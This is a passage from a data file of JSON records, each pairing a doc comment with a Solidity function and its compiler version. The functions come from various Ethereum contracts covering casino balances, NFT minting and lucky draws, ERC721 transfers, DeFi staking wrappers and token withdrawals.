withdraw\r\n \t **/", "function_code": "function withdraw(uint amount) public keepAlive {\r\n\t\trequire(amount <= maxWithdrawal);\r\n\t\trequire(withdrawAfter[msg.sender] > 0 && now > withdrawAfter[msg.sender]);\r\n\t\twithdrawAfter[msg.sender] = 0;\r\n\t\tuint value = safeMul(amount, oneEDG);\r\n\t\tbalanceOf[msg.sender] = safeSub(balanceOf[msg.sender], value);\r\n\t\tplayerBalance = safeSub(playerBalance, value);\r\n\t\tassert(edg.transfer(msg.sender, amount));\r\n\t\temit Withdrawal(msg.sender, msg.sender, amount, 0);\r\n\t}", "version": "0.4.21"} {"comment": "/**\r\n \t * transfers an amount from the contract balance to the owner's wallet.\r\n \t * @param receiver the receiver address\r\n \t *\t\t\t\t amount the amount of tokens to withdraw (0 decimals)\r\n \t *\t\t\t\t v,r,s \t\tthe signature of the player\r\n \t **/", "function_code": "function withdrawFor(address receiver, uint amount, uint8 v, bytes32 r, bytes32 s) public onlyAuthorized keepAlive {\r\n\t\taddress player = ecrecover(keccak256(receiver, amount, withdrawCount[receiver]), v, r, s);\r\n\t\twithdrawCount[receiver]++;\r\n\t\tuint gasCost = getGasCost();\r\n\t\tuint value = safeAdd(safeMul(amount, oneEDG), gasCost);\r\n\t\tgasPayback = safeAdd(gasPayback, gasCost);\r\n\t\tbalanceOf[player] = safeSub(balanceOf[player], value);\r\n\t\tplayerBalance = safeSub(playerBalance, value);\r\n\t\tassert(edg.transfer(receiver, amount));\r\n\t\temit Withdrawal(player, receiver, amount, gasCost);\r\n\t}", "version": "0.4.21"} {"comment": "/**\r\n \t * transfers the player's tokens directly to the new casino contract after an update.\r\n \t * @param newCasino the address of the new casino contract\r\n \t *\t\t v, r, s the signature of the player\r\n \t *\t\t chargeGas indicates if the gas cost is payed by the player.\r\n \t * */", "function_code": "function transferToNewContract(address newCasino, uint8 v, bytes32 r, bytes32 s, bool chargeGas) public onlyAuthorized keepAlive {\r\n\t\taddress player = ecrecover(keccak256(address(this), newCasino), v, r, s);\r\n\t\tuint gasCost = 0;\r\n\t\tif(chargeGas) gasCost = getGasCost();\r\n\t\tuint value = safeSub(balanceOf[player], gasCost);\r\n\t\trequire(value > oneEDG);\r\n\t\t//fractions of one EDG cannot be withdrawn \r\n\t\tvalue /= oneEDG;\r\n\t\tplayerBalance = safeSub(playerBalance, balanceOf[player]);\r\n\t\tbalanceOf[player] = 0;\r\n\t\tassert(edg.transfer(newCasino, value));\r\n\t\temit Withdrawal(player, newCasino, value, gasCost);\r\n\t\tCasinoBank cb = CasinoBank(newCasino);\r\n\t\tassert(cb.credit(player, value));\r\n\t}", "version": "0.4.21"} {"comment": "/**\r\n \t * receive a player balance from the predecessor contract.\r\n \t * @param player the address of the player to credit the value for\r\n \t *\t\t\t\tvalue the number of tokens to credit (0 decimals)\r\n \t * */", "function_code": "function credit(address player, uint value) public returns(bool) {\r\n\t\trequire(msg.sender == predecessor);\r\n\t\tuint valueWithDecimals = safeMul(value, oneEDG);\r\n\t\tbalanceOf[player] = safeAdd(balanceOf[player], valueWithDecimals);\r\n\t\tplayerBalance = safeAdd(playerBalance, valueWithDecimals);\r\n\t\temit Deposit(player, value, 0);\r\n\t\treturn true;\r\n\t}", "version": "0.4.21"} {"comment": "/**\r\n * internal method to perform the actual state update.\r\n * @param player the player address\r\n * winBalance the player's win balance\r\n * gameCount the player's game count\r\n * */", "function_code": "function _updateState(address player, int128 winBalance, uint128 gameCount, uint gasCost) internal {\r\n State storage last = lastState[player];\r\n \trequire(gameCount > last.count);\r\n \tint difference = updatePlayerBalance(player, winBalance, last.winBalance, gasCost);\r\n \tlastState[player] = State(gameCount, winBalance);\r\n \temit StateUpdate(player, gameCount, winBalance, difference, gasCost);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * determines if the msg.sender or the signer of the passed signature is the player. returns the player's address\r\n * @param winBalance the current winBalance, used to calculate the msg hash\r\n *\t\t\t\tgameCount the current gameCount, used to calculate the msg.hash\r\n *\t\t\t\tv, r, s the signature of the non-sending party\r\n * */", "function_code": "function determinePlayer(int128 winBalance, uint128 gameCount, uint8 v, bytes32 r, bytes32 s) view internal returns(address){\r\n \tif (authorized[msg.sender])//casino is the sender -> player is the signer\r\n \t\treturn ecrecover(keccak256(winBalance, gameCount), v, r, s);\r\n \telse\r\n \t\treturn msg.sender;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n \t * computes the difference of the win balance relative to the last known state and adds it to the player's balance.\r\n \t * in case the casino is the sender, the gas cost in EDG gets subtracted from the player's balance.\r\n \t * @param player the address of the player\r\n \t *\t\t\t\twinBalance the current win-balance\r\n \t *\t\t\t\tlastWinBalance the win-balance of the last known state\r\n \t *\t\t\t\tgasCost the gas cost of the tx\r\n \t * */", "function_code": "function updatePlayerBalance(address player, int128 winBalance, int128 lastWinBalance, uint gasCost) internal returns(int difference){\r\n \tdifference = safeSub(winBalance, lastWinBalance);\r\n \tint outstanding = safeSub(difference, int(gasCost));\r\n \tuint outs;\r\n \tif(outstanding < 0){\r\n \t\touts = uint256(outstanding * (-1));\r\n \t\tplayerBalance = safeSub(playerBalance, outs);\r\n \t\tbalanceOf[player] = safeSub(balanceOf[player], outs);\r\n \t}\r\n \telse{\r\n \t\touts = uint256(outstanding);\r\n \t\tassert(bankroll() * oneEDG > outs);\r\n \t playerBalance = safeAdd(playerBalance, outs);\r\n \t balanceOf[player] = safeAdd(balanceOf[player], outs);\r\n \t}\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * logs some seeds and game results for players wishing to have their game history logged by the contract\r\n * @param serverSeeds array containing the server seeds\r\n * clientSeeds array containing the client seeds\r\n * results array containing the results\r\n * v, r, s the signature of the non-sending party (to make sure the correct results are logged)\r\n * */", "function_code": "function logGameData(bytes32[] serverSeeds, bytes32[] clientSeeds, int[] results, uint8 v, bytes32 r, bytes32 s) public{\r\n address player = determinePlayer(serverSeeds, clientSeeds, results, v, r, s);\r\n uint gasCost;\r\n //charge gas in case the server is logging the results for the player\r\n if(player != msg.sender){\r\n gasCost = (57 + 768 * serverSeeds.length / 1000)*gasPrice;\r\n balanceOf[player] = safeSub(balanceOf[player], gasCost);\r\n playerBalance = safeSub(playerBalance, gasCost);\r\n gasPayback = safeAdd(gasPayback, gasCost);\r\n }\r\n emit GameData(player, serverSeeds, clientSeeds, results, gasCost);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * determines if the msg.sender or the signer of the passed signature is the player. returns the player's address\r\n * @param serverSeeds array containing the server seeds\r\n * clientSeeds array containing the client seeds\r\n * results array containing the results\r\n *\t\t\t\tv, r, s the signature of the non-sending party\r\n * */", "function_code": "function determinePlayer(bytes32[] serverSeeds, bytes32[] clientSeeds, int[] results, uint8 v, bytes32 r, bytes32 s) view internal returns(address){\r\n \taddress signer = ecrecover(keccak256(serverSeeds, clientSeeds, results), v, r, s);\r\n \tif (authorized[msg.sender])//casino is the sender -> player is the signer\r\n \t\treturn signer;\r\n \telse if (authorized[signer])\r\n \t\treturn msg.sender;\r\n \telse \r\n \t revert();\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Creates a new token for every address in `tos`. TokenIDs will be automatically assigned\r\n * @param tos owners of new tokens\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must have the `MINTER_ROLE`.\r\n */", "function_code": "function privateMint(address[] memory tos) external onlyRole(MINTER_ROLE) {\r\n require(!luckyDrawActive, \"PPTL: Lucky draw has begun\");\r\n\r\n for (uint256 i = 0; i < tos.length; i++) {\r\n _mint(tos[i], totalSupply + 1 + i);\r\n }\r\n totalSupply += tos.length;\r\n require(totalSupply <= maxSupply, \"PPTL: Exceed max supply\");\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Creates lucky draw provenance and user tiers\r\n * @param provenance_ provenance of lucky draw token metadatas\r\n * @param userTierIds ids of user tiers in lucky draw\r\n * @param userTierStartTimes start times of user tiers in lucky draw\r\n * @param userTierDurations durations of user tiers in lucky draw\r\n * @param userTierTicketMaxNums max ticket numbers per user of user tiers in lucky draw\r\n * @param userTierTicketPrices ticket prices of user tiers in lucky draw\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must have the `OPERATOR_ROLE`.\r\n */", "function_code": "function createLuckyDraw(\r\n bytes32 provenance_,\r\n uint256[] memory userTierIds,\r\n uint256[] memory userTierStartTimes,\r\n uint256[] memory userTierDurations,\r\n uint256[] memory userTierTicketMaxNums,\r\n uint256[] memory userTierTicketPrices\r\n ) external onlyRole(OPERATOR_ROLE) {\r\n require(!luckyDrawActive, \"PPTL: Lucky draw has begun\");\r\n\r\n require(\r\n userTierIds.length == userTierStartTimes.length &&\r\n userTierIds.length == userTierDurations.length &&\r\n userTierIds.length == userTierTicketMaxNums.length &&\r\n userTierIds.length == userTierTicketPrices.length,\r\n \"PPTL: array length mismatch\"\r\n );\r\n\r\n provenance = provenance_;\r\n\r\n for (uint256 i = 0; i < userTierIds.length; i++) {\r\n _userTiers[userTierIds[i]].startTime = userTierStartTimes[i];\r\n _userTiers[userTierIds[i]].duration = userTierDurations[i];\r\n _userTiers[userTierIds[i]].ticketMaxNum = userTierTicketMaxNums[i];\r\n _userTiers[userTierIds[i]].ticketPrice = userTierTicketPrices[i];\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Creates new token(s) for valid caller. TokenID(s) will be automatically assigned\r\n * \r\n * @param userTierId user tier id of caller belonged to\r\n * @param ticketNum number of tokens to create\r\n * @param signature signature from `_authority`\r\n */", "function_code": "function draw(uint256 userTierId, uint256 ticketNum, bytes memory signature) external payable {\r\n require(luckyDrawActive, \"PPTL: Lucky draw inactive\");\r\n\r\n uint256 startTime = _userTiers[userTierId].startTime;\r\n uint256 endTime = startTime + _userTiers[userTierId].duration * 1 seconds;\r\n require(block.timestamp >= startTime && block.timestamp < endTime, \"PPTL: Invalid time\");\r\n\r\n bytes32 data = keccak256(abi.encode(address(this), _msgSender(), userTierId));\r\n require(SignatureChecker.isValidSignatureNow(_authority, data, signature), \"PPTL: Invalid signature\");\r\n\r\n uint256 newSupply = totalSupply + ticketNum;\r\n require(newSupply <= maxSupply, \"PPTL: Exceed max supply\");\r\n\r\n uint256 newTicketNum = _userTiers[userTierId].users[_msgSender()] + ticketNum;\r\n require(newTicketNum <= _userTiers[userTierId].ticketMaxNum, \"PPTL: Exceed max ticket num\");\r\n _userTiers[userTierId].users[_msgSender()] = newTicketNum;\r\n\r\n require(msg.value == _userTiers[userTierId].ticketPrice * ticketNum, \"PPTL: Incorrect payment\");\r\n (bool sent, ) = _payee.call{value: msg.value}(\"\");\r\n require(sent, \"PPTL: Failed to send Ether\");\r\n\r\n for (uint256 i = 0; i < ticketNum; i++) {\r\n _mint(_msgSender(), totalSupply + i + 1);\r\n }\r\n totalSupply = newSupply;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Payouts contract balance\r\n * \r\n * @param recipients addresses to receive Ether\r\n * @param fractions percentages of recipients receiving Ether\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must have the `WITHDRAW_ROLE`.\r\n */", "function_code": "function payout(address[] memory recipients, uint96[] memory fractions) external onlyRole(WITHDRAW_ROLE) {\r\n require(recipients.length == fractions.length, \"PPTL: Array length mismatch\");\r\n uint256 balance = address(this).balance;\r\n require(balance > 0, \"PPTL: Invalid contract balance to payout\");\r\n\r\n uint256 counter = 0;\r\n for (uint256 i = 0; i < recipients.length; i++) {\r\n require(recipients[i] != address(0), \"PPTL: Invalid payout recipient\");\r\n counter += fractions[i];\r\n\r\n uint256 amount = balance * fractions[i] / 100;\r\n (bool success, ) = recipients[i].call{value: amount}(\"\");\r\n require(success, \"PPTL: Failed to send Ether\");\r\n emit BalancePayout(recipients[i], amount);\r\n }\r\n require(counter <= 100, \"PPTL: Invalid payout\");\r\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Approve an operator to spend tokens on the sender behalf\n * @param sender The address giving the approval\n * @param operator The address receiving the approval\n * @param id The id of the token\n */", "function_code": "function approveFor(\n address sender,\n address operator,\n uint256 id\n ) external {\n address owner = _ownerOf(id);\n require(sender != address(0), \"sender is zero address\");\n require(\n msg.sender == sender ||\n _metaTransactionContracts[msg.sender] ||\n _superOperators[msg.sender] ||\n _operatorsForAll[sender][msg.sender],\n \"not authorized to approve\"\n );\n require(owner == sender, \"owner != sender\");\n _approveFor(owner, operator, id);\n }", "version": "0.5.9"} {"comment": "/**\n * @notice Get the approved operator for a specific token\n * @param id The id of the token\n * @return The address of the operator\n */", "function_code": "function getApproved(uint256 id) external view returns (address) {\n (address owner, bool operatorEnabled) = _ownerAndOperatorEnabledOf(id);\n require(owner != address(0), \"token does not exist\");\n if (operatorEnabled) {\n return _operators[id];\n } else {\n return address(0);\n }\n }", "version": "0.5.9"} {"comment": "/**\n * @notice Transfer a token between 2 addresses\n * @param from The sender of the token\n * @param to The recipient of the token\n * @param id The id of the token\n */", "function_code": "function transferFrom(address from, address to, uint256 id) external {\n bool metaTx = _checkTransfer(from, to, id);\n _transferFrom(from, to, id);\n if (to.isContract() && _checkInterfaceWith10000Gas(to, ERC721_MANDATORY_RECEIVER)) {\n require(\n _checkOnERC721Received(metaTx ? from : msg.sender, from, to, id, \"\"),\n \"erc721 transfer rejected by to\"\n );\n }\n }", "version": "0.5.9"} {"comment": "/**\n * @notice Transfer a token between 2 addresses letting the receiver knows of the transfer\n * @param from The sender of the token\n * @param to The recipient of the token\n * @param id The id of the token\n * @param data Additional data\n */", "function_code": "function safeTransferFrom(address from, address to, uint256 id, bytes memory data) public {\n bool metaTx = _checkTransfer(from, to, id);\n _transferFrom(from, to, id);\n if (to.isContract()) {\n require(\n _checkOnERC721Received(metaTx ? from : msg.sender, from, to, id, data),\n \"ERC721: transfer rejected by to\"\n );\n }\n }", "version": "0.5.9"} {"comment": "/**\n * @notice Set the approval for an operator to manage all the tokens of the sender\n * @param sender The address giving the approval\n * @param operator The address receiving the approval\n * @param approved The determination of the approval\n */", "function_code": "function setApprovalForAllFor(\n address sender,\n address operator,\n bool approved\n ) external {\n require(sender != address(0), \"Invalid sender address\");\n require(\n msg.sender == sender ||\n _metaTransactionContracts[msg.sender] ||\n _superOperators[msg.sender],\n \"not authorized to approve for all\"\n );\n\n _setApprovalForAll(sender, operator, approved);\n }", "version": "0.5.9"} {"comment": "/// @notice Burn token`id` from `from`.\n/// @param from address whose token is to be burnt.\n/// @param id token which will be burnt.", "function_code": "function burnFrom(address from, uint256 id) external {\n require(from != address(0), \"Invalid sender address\");\n (address owner, bool operatorEnabled) = _ownerAndOperatorEnabledOf(id);\n require(\n msg.sender == from ||\n _metaTransactionContracts[msg.sender] ||\n (operatorEnabled && _operators[id] == msg.sender) ||\n _superOperators[msg.sender] ||\n _operatorsForAll[from][msg.sender],\n \"not authorized to burn\"\n );\n _burn(from, owner, id);\n }", "version": "0.5.9"} {"comment": "//deposit a curve token", "function_code": "function deposit(uint256 _amount, address _to) external nonReentrant {\r\n require(!isShutdown, \"shutdown\");\r\n\r\n //dont need to call checkpoint since _mint() will\r\n\r\n if (_amount > 0) {\r\n _mint(_to, _amount);\r\n IERC20(curveToken).safeTransferFrom(msg.sender, address(this), _amount);\r\n IConvexDeposits(convexBooster).deposit(convexPoolId, _amount, true);\r\n }\r\n\r\n emit Deposited(msg.sender, _to, _amount, true);\r\n }", "version": "0.6.12"} {"comment": "//stake a convex token", "function_code": "function stake(uint256 _amount, address _to) external nonReentrant {\r\n require(!isShutdown, \"shutdown\");\r\n\r\n //dont need to call checkpoint since _mint() will\r\n\r\n if (_amount > 0) {\r\n _mint(_to, _amount);\r\n IERC20(convexToken).safeTransferFrom(msg.sender, address(this), _amount);\r\n IRewardStaking(convexPool).stake(_amount);\r\n }\r\n\r\n emit Deposited(msg.sender, _to, _amount, false);\r\n }", "version": "0.6.12"} {"comment": "//withdraw to convex deposit token", "function_code": "function withdraw(uint256 _amount) external nonReentrant {\r\n\r\n //dont need to call checkpoint since _burn() will\r\n\r\n if (_amount > 0) {\r\n _burn(msg.sender, _amount);\r\n IRewardStaking(convexPool).withdraw(_amount, false);\r\n IERC20(convexToken).safeTransfer(msg.sender, _amount);\r\n }\r\n\r\n emit Withdrawn(msg.sender, _amount, false);\r\n }", "version": "0.6.12"} {"comment": "//withdraw to underlying curve lp token", "function_code": "function withdrawAndUnwrap(uint256 _amount) external nonReentrant {\r\n \r\n //dont need to call checkpoint since _burn() will\r\n\r\n if (_amount > 0) {\r\n _burn(msg.sender, _amount);\r\n IRewardStaking(convexPool).withdrawAndUnwrap(_amount, false);\r\n IERC20(curveToken).safeTransfer(msg.sender, _amount);\r\n }\r\n\r\n //events\r\n emit Withdrawn(msg.sender, _amount, true);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Reserves to various addresses\n * @dev Can be locked\n * @param amount of tokens to be reserved\n * @param to address to receive reserved tokens\n */", "function_code": "function reserve(uint256 amount, address to) public lockable onlyOwner {\n require(reserved + amount <= MAX_RESERVED, \"Exceeds maximum number of reserved tokens\");\n require(totalSupply + amount <= MAX_SUPPLY, \"Insufficient supply\");\n\n for (uint256 i = 0; i < amount; i++) {\n _safeMint(to, totalSupply);\n totalSupply += 1;\n }\n\n reserved += amount;\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Mint a Fren using a signature\n * @param amount of Fren to mint\n * @param signature created by signer account\n */", "function_code": "function mint(uint256 amount, bytes memory signature) public payable nonReentrant {\n require(signer == ECDSA.recover(\n ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_msgSender()))),\n signature\n ), \"Invalid signature\");\n\n require(totalSupply + amount <= MAX_SUPPLY, \"Insufficient supply\");\n require(msg.value == MINT_PRICE * amount, \"Invalid Ether amount sent\");\n require(minted[_msgSender()] + amount <= maxPerAddress, \"Insufficient mints available\");\n\n for (uint256 i = 0; i < amount; i++) {\n _safeMint(_msgSender(), totalSupply);\n totalSupply += 1;\n }\n\n minted[_msgSender()] += amount;\n }", "version": "0.8.7"} {"comment": "/// @notice Creates a withdrawal request that will be finalized after delay time\n/// @param _receiver address that will receive the token\n/// @param _amount amount of tokens for the request", "function_code": "function requestWithdrawal(\r\n address _receiver,\r\n uint256 _amount\r\n )\r\n public\r\n onlyOwner()\r\n returns (bool)\r\n {\r\n require(_amount > 0, \"withdrawal amount has to be bigger than 0\");\r\n\r\n uint256 newAmount = withdrawal.amount.add(_amount);\r\n\r\n require(\r\n newAmount <= ctsi.balanceOf(address(this)),\r\n \"Not enough tokens in the contract for this Withdrawal request\"\r\n );\r\n withdrawal.receiver = _receiver;\r\n withdrawal.amount = newAmount;\r\n withdrawal.timestamp = block.timestamp;\r\n\r\n emit WithdrawRequested(_receiver, newAmount, block.timestamp);\r\n\r\n return true;\r\n }", "version": "0.6.11"} {"comment": "/// @notice Finalizes withdraw and transfer the tokens to receiver", "function_code": "function finalizeWithdraw() public onlyOwner returns (bool) {\r\n uint256 amount = withdrawal.amount;\r\n require(\r\n withdrawal.timestamp.add(delay) <= block.timestamp,\r\n \"Withdrawal is not old enough to be finalized\"\r\n );\r\n require(amount > 0, \"There are no active withdrawal requests\");\r\n\r\n withdrawal.amount = 0;\r\n ctsi.transfer(withdrawal.receiver, amount);\r\n\r\n emit WithdrawFinalized(withdrawal.receiver, amount);\r\n return true;\r\n }", "version": "0.6.11"} {"comment": "/// @dev set Wild card token.", "function_code": "function makeWildCardToken(uint256 tokenId) public payable {\r\n\r\n require(msg.value == killerPriceConversionFee);\t\t\r\n\t\t//Start New Code--for making wild card for each category\r\n\t\tuint256 index = cardTokenToPosition[tokenId];\r\n\t //Card storage card = cards[index];\r\n\t string storage cardCategory=cards[index].category;\r\n\t uint256 totalCards = totalSupply();\r\n uint256 i=0;\r\n for (i = 0; i <= totalCards-1; i++) {\r\n //check for the same category\r\n //StringUtils\r\n if (keccak256(cards[i].category)==keccak256(cardCategory)){\r\n cards[i].Iswildcard=0;\r\n }\r\n }\r\n\t\tcards[index].Iswildcard=1;\r\n\t\t//End New Code--\r\n\t\t\r\n\t\t//msg.sender.transfer(killerPriceConversionFee);\r\n\t\t//address(this).transfer(killerPriceConversionFee);\r\n\t\t//emit NewWildToken(wildcardTokenId);\r\n\t}", "version": "0.4.21"} {"comment": "//get the selling price of card based on slab.", "function_code": "function nextPriceOf(uint256 _tokenId) public view returns (uint256 price){\r\n uint256 sellingPrice=cardTokenToPrice[_tokenId];\r\n // Update prices\r\n if (sellingPrice < firstStepLimit) {\r\n // first stage\r\n sellingPrice = Helper.div(Helper.mul(sellingPrice, 300), 93);\r\n } else if (sellingPrice < secondStepLimit) {\r\n // second stage\r\n sellingPrice= Helper.div(Helper.mul(sellingPrice, 200), 93);\r\n } else if (sellingPrice < thirdStepLimit) {\r\n // second stage\r\n sellingPrice = Helper.div(Helper.mul(sellingPrice, 120), 93);\r\n } else {\r\n // third stage\r\n sellingPrice = Helper.div(Helper.mul(sellingPrice, 115), 93);\r\n }\r\n return sellingPrice;\r\n}", "version": "0.4.21"} {"comment": "/// @notice Updates a 256 bit word with a 32 bit representation of a block number at a particular index\n/// @param _existingUpkeepBlockNumbers The 256 word\n/// @param _podIndex The index within that word (0 to 7)\n/// @param _value The block number value to be inserted", "function_code": "function _updateLastBlockNumberForPodIndex(uint256 _existingUpkeepBlockNumbers, uint8 _podIndex, uint32 _value) internal pure returns (uint256) { \n\n uint256 mask = (type(uint32).max | uint256(0)) << (_podIndex * 32); // get a mask of all 1's at the pod index \n uint256 updateBits = (uint256(0) | _value) << (_podIndex * 32); // position value at index with 0's in every other position\n\n /* \n (updateBits | ~mask) \n negation of the mask is 0's at the location of the block number, 1's everywhere else\n OR'ing it with updateBits will give 1's everywhere else, block number intact\n \n (_existingUpkeepBlockNumbers | mask)\n OR'ing the exstingUpkeepBlockNumbers with mask will give maintain other blocknumber, put all 1's at podIndex\n \n finally AND'ing the two halves will filter through 1's if they are supposed to be there\n */\n return (updateBits | ~mask) & (_existingUpkeepBlockNumbers | mask); \n }", "version": "0.7.6"} {"comment": "/// @notice Checks if Pods require upkeep. Call in a static manner every block by the Chainlink Upkeep network.\n/// @param checkData Not used in this implementation.\n/// @return upkeepNeeded as true if performUpkeep() needs to be called, false otherwise. performData returned empty. ", "function_code": "function checkUpkeep(bytes calldata checkData) override external view returns (bool upkeepNeeded, bytes memory performData) {\n \n if(paused()) return (false, performData); \n\n address[] memory pods = podsRegistry.getAddresses();\n uint256 _upkeepBlockInterval = upkeepBlockInterval;\n uint256 podsLength = pods.length;\n\n for(uint256 podWord = 0; podWord <= podsLength / 8; podWord++){\n\n uint256 _lastUpkeep = lastUpkeepBlockNumber[podWord]; // this performs the SLOAD\n for(uint256 i = 0; i + (podWord * 8) < podsLength; i++){\n \n uint32 podLastUpkeepBlockNumber = _readLastBlockNumberForPodIndex(_lastUpkeep, uint8(i));\n if(block.number > podLastUpkeepBlockNumber + _upkeepBlockInterval){\n return (true, \"\");\n }\n }\n } \n return (false, \"\"); \n }", "version": "0.7.6"} {"comment": "/// @notice Performs upkeep on the pods contract and updates lastUpkeepBlockNumbers\n/// @param performData Not used in this implementation.", "function_code": "function performUpkeep(bytes calldata performData) override external whenNotPaused{\n \n address[] memory pods = podsRegistry.getAddresses();\n uint256 podsLength = pods.length;\n uint256 _batchLimit = upkeepBatchLimit;\n uint256 batchesPerformed = 0;\n\n for(uint8 podWord = 0; podWord <= podsLength / 8; podWord++){ // give word index\n \n uint256 _updateBlockNumber = lastUpkeepBlockNumber[podWord]; // this performs the SLOAD\n\n for(uint8 i = 0; i + (podWord * 8) < podsLength; i++){ // pod index within word\n \n if(batchesPerformed >= _batchLimit) {\n break;\n }\n // get the 32 bit block number from the 256 bit word\n uint32 podLastUpkeepBlockNumber = _readLastBlockNumberForPodIndex(_updateBlockNumber, i);\n if(block.number > podLastUpkeepBlockNumber + upkeepBlockInterval) {\n IPod(pods[i + (podWord * 8)]).drop();\n batchesPerformed++;\n // updated pod's most recent upkeep block number and store update to that 256 bit word\n _updateBlockNumber = _updateLastBlockNumberForPodIndex(_updateBlockNumber, i, uint32(block.number)); \n }\n } \n lastUpkeepBlockNumber[podWord] = _updateBlockNumber; // update the entire 256 bit word at once\n }\n }", "version": "0.7.6"} {"comment": "// INTERNAL ACTIONS", "function_code": "function _claimAndSellRewards() internal returns (uint256) {\r\n uint256 stkAaveBalance = balanceOfStkAave();\r\n CooldownStatus cooldownStatus;\r\n if (stkAaveBalance > 0) {\r\n cooldownStatus = _checkCooldown(); // don't check status if we have no stkAave\r\n }\r\n\r\n // If it's the claim period claim\r\n if (stkAaveBalance > 0 && cooldownStatus == CooldownStatus.Claim) {\r\n // redeem AAVE from stkAave\r\n stkAave.claimRewards(address(this), type(uint256).max);\r\n stkAave.redeem(address(this), stkAaveBalance);\r\n }\r\n\r\n // claim stkAave from lending and borrowing, this will reset the cooldown\r\n incentivesController.claimRewards(\r\n getAaveAssets(),\r\n type(uint256).max,\r\n address(this)\r\n );\r\n\r\n stkAaveBalance = balanceOfStkAave();\r\n\r\n // request start of cooldown period, if there's no cooldown in progress\r\n if (\r\n cooldownStkAave &&\r\n stkAaveBalance > 0 &&\r\n cooldownStatus == CooldownStatus.None\r\n ) {\r\n stkAave.cooldown();\r\n }\r\n\r\n // Always keep 1 wei to get around cooldown clear\r\n if (sellStkAave && stkAaveBalance >= minRewardToSell.add(1)) {\r\n uint256 minAAVEOut =\r\n stkAaveBalance.mul(MAX_BPS.sub(maxStkAavePriceImpactBps)).div(\r\n MAX_BPS\r\n );\r\n _sellSTKAAVEToAAVE(stkAaveBalance.sub(1), minAAVEOut);\r\n }\r\n\r\n // sell AAVE for want\r\n uint256 aaveBalance = balanceOfAave();\r\n if (aaveBalance >= minRewardToSell) {\r\n _sellAAVEForWant(aaveBalance, 0);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Flashloan callback function", "function_code": "function callFunction(\r\n address sender,\r\n Account.Info memory account,\r\n bytes memory data\r\n ) public override {\r\n (bool deficit, uint256 amount) = abi.decode(data, (bool, uint256));\r\n require(msg.sender == FlashLoanLib.SOLO);\r\n require(sender == address(this));\r\n\r\n FlashLoanLib.loanLogic(deficit, amount, address(want));\r\n }", "version": "0.6.12"} {"comment": "// conversions", "function_code": "function tokenToWant(address token, uint256 amount)\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n if (amount == 0 || address(want) == token) {\r\n return amount;\r\n }\r\n\r\n // KISS: just use a v2 router for quotes which aren't used in critical logic\r\n IUni router =\r\n swapRouter == SwapRouter.SushiV2 ? SUSHI_V2_ROUTER : UNI_V2_ROUTER;\r\n uint256[] memory amounts =\r\n router.getAmountsOut(\r\n amount,\r\n getTokenOutPathV2(token, address(want))\r\n );\r\n\r\n return amounts[amounts.length - 1];\r\n }", "version": "0.6.12"} {"comment": "//Only Owner Mint Function", "function_code": "function privatemint(uint256 _mintAmount) public onlyOwner {\r\n uint256 supply = totalSupply();\r\n require(!paused, \"the contract is paused\");\r\n require(_mintAmount > 0, \"need to mint at least 1 NFT\");\r\n require(supply + _mintAmount <= maxSupply, \"max NFT limit exceeded\");\r\n require(privateAmountMinted + _mintAmount <= Santas_Private, \"Mint amount more than private reserves\");\r\n for (uint8 i = 1; i <= _mintAmount; i++) {\r\n privateAmountMinted++;\r\n _safeMint(msg.sender, supply + i);\r\n }\r\n }", "version": "0.8.0"} {"comment": "//Only Owner Gift Function", "function_code": "function privategift(address _to, uint256 _mintAmount) public onlyOwner {\r\n uint256 supply = totalSupply();\r\n require(!paused, \"the contract is paused\");\r\n require(_mintAmount > 0, \"need to mint at least 1 NFT\");\r\n require(supply + _mintAmount <= maxSupply, \"max NFT limit exceeded\");\r\n require(privateAmountMinted + _mintAmount <= Santas_Private, \"Mint amount more than private reserves\");\r\n for (uint8 i = 1; i <= _mintAmount; i++) {\r\n privateAmountMinted++;\r\n _safeMint(_to, supply + i);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * ERC 20 Standard Token interface transfer function\r\n */", "function_code": "function transfer(address _to, uint256 _value) public returns (bool success) {\r\n //Default assumes totalSupply can't be over max (2^256 - 1).\r\n //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.\r\n //Replace the if with this one instead.\r\n if (balances[msg.sender] >= _value && balances[_to].add(_value) > balances[_to]) {\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.25"} {"comment": "//function createANewCert(address _publicKey, uint256 _amount) external payable onlyCEO{", "function_code": "function depositCertificateSale(address _publicKey, uint256 _amount) external payable onlyCEO{\r\n require(msg.sender != address(0));\r\n require(_amount > 0);\r\n require(msg.value == _amount);\r\n require(_publicKey != address(0));\r\n require(totalSupplyOfKeys < KEY_CREATION_LIMIT);\r\n require(totalReclaimedKeys < KEY_CREATION_LIMIT);\r\n \r\n require(!allThePublicKeys[_publicKey]);\r\n\r\n allThePublicKeys[_publicKey]=true;\r\n totalSupplyOfKeys ++;\r\n\r\n balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount);\r\n \r\n emit DepositCertificateSaleEvent(msg.sender, _publicKey, _amount);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * Payout a certificate. \r\n * \r\n */", "function_code": "function payoutACert(bytes32 _msgHash, uint8 _v, bytes32 _r, bytes32 _s) external nonReentrant{\r\n require(msg.sender != address(0));\r\n require(address(this).balance > 0);\r\n require(totalSupplyOfKeys > 0);\r\n require(totalReclaimedKeys < KEY_CREATION_LIMIT);\r\n \r\n address _recoveredAddress = ecrecover(_msgHash, _v, _r, _s);\r\n 